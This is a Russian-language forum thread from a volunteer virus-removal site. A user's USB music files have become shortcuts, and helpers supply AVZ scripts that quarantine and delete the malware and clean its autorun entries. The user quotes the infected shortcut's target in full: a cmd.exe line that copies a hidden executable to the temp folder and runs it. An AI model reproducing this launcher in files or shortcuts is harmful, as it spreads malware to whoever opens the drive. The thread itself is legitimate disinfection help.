Файлы формата mp3 стали ярлыками размером в 2кб.

Доброго времени суток. Файлы НА ФЛЕШКЕ из формата mp3 превратились в ярлыки размером в 2кб. При попытке их открыть через WMP появляется ошибка, но трек воспроизводится,кроме того в расположении всех файлов сказано :"C/Windows/system32".Еще при попытке открыть мой компьютер появляется окно "Управление компьютером" и приходится все открывать через поиск.Сканировал систему 3 антивирусными ПО( AVZ 4,SpyHunter4,Avira) - все обновлены и актуальны. Каждый из них что-то нашел и удалил или вылечил, но проблемы остались.Также просканировал как описано в вашей инструкции Dr.WebCureIt! в безопасном режиме (нашел 10 угроз), но проблема осталась.Полностью сделал как в вашей инструкции(Avir`у отключить не получилось), но не помогло,поэтому Спасите!Спасибо заранее.
P.S. не хочу чтоб меня считали дилетантом, все это дело рук племянников>:(

Уважаемый(ая) [B]Стич[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="http://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Выполните скрипт в AVZ
[code]begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFile('C:\Users\Настя\AppData\Roaming\Microsoft\Windows\themes\Kpaeao.exe','');
QuarantineFile('C:\Users\Настя\AppData\Roaming\WindowsUpdate\Updater.exe','');
DeleteFile('C:\Users\Настя\AppData\Roaming\WindowsUpdate\Updater.exe','32');
DeleteFile('C:\Users\Настя\AppData\Roaming\Microsoft\Windows\themes\Kpaeao.exe','32');
RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run-','Kpaeao');
RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run-','Windows Update Installer');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(false);
end.[/code]Будет выполнена перезагрузка компьютера.

Выполните скрипт в AVZ
[code]begin
CreateQurantineArchive('c:\quarantine.zip');
end.[/code][b]c:\quarantine.zip[/b] пришлите по красной ссылке [color="Red"][u][b]Прислать запрошенный карантин[/b][/u][/color] [b]над первым сообщением[/b] в Вашей теме.

[B][COLOR="Red"]Выполните правила ЕЩЕ РАЗ и предоставьте НОВЫЕ логи[/COLOR][/B]

Вот

Сделайте лог [url="http://virusinfo.info/showthread.php?t=53070&p=1104657&viewfull=1#post1104657"]полного сканирования МВАМ[/url]

вот лог.

Что с проблемой?

по прежнему при попытке открыть мой компьютер или флешку открывается управление компьютером.я зашел в реестр,не досчитался папок "HKEY_CLASSES_ROOT\Directory и \Folder".Файлы на флешке по прежнему в виде ярлыков:(
И еще в расположении файлов на флешке указано:"%ALLUSERSPROFILE%\..\..\windows\system32\cmd.exe /c "%SystemRoot%\explorer.exe %cd% & attrib -s -h %cd%pOtAqTB.exe & xcopy /F /S /Q /H /R /Y %cd%pOtAqTB.exe %temp%\OCkYk\ & attrib +s +h %cd%pOtAqTB.exe & start %temp%\OCkYk\pOtAqTB.exe & exit""

Total Commander или Far Commander есть на компьютере?

я и забыл про tcmd.есть,попробовал переименовать в нем один из файлов в mp3,вроде получилось)
Но теперь файлы не воспроизводятся ни в WMP ни в Winamp,ни в foobar2000,ни в AIMP.

Вы делаете не то, что нужно )

Включите в его настройках показ скрытых и системных файлов и , скорее всего, увидите Вашу потерянную информацию

Действительно,вот она:)Спасибо, что вы есть.Получается,что все в порядке?а как быть с теми файлами что остались на флешке(зараженные)?и как быть с "управленеие компьютером"?

Все лжефайлы удалите, у всей своей информации снимите атрибут "скрытый"

Скриншот Рабочего стола покажите

Вот

Что мешает вместо ярлыка Мой компьютер вынести нормальный стандартный значок Мой компьютер?

так все ярлыки так открываются.если попробовать открыть папку,то открывается WMP.Вот что появляется если попробовать посмотреть свойства компьютера.

Ну так и смотрите настройки ассоциаций, как просят в окне на втором скриншоте

Вылезает тоже самое.Сам разберусь,спасибо за помощь.
Разобрался,нужно было просто в реестре разобраться.Я вам порядком уже поднадоел наверно,но есть последний вопрос,эта зараженная флешка успела побывать на другом пк,мне проделать те же операции?

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]4[/B][*]В ходе лечения вредоносные программы в карантинах не обнаружены[/LIST]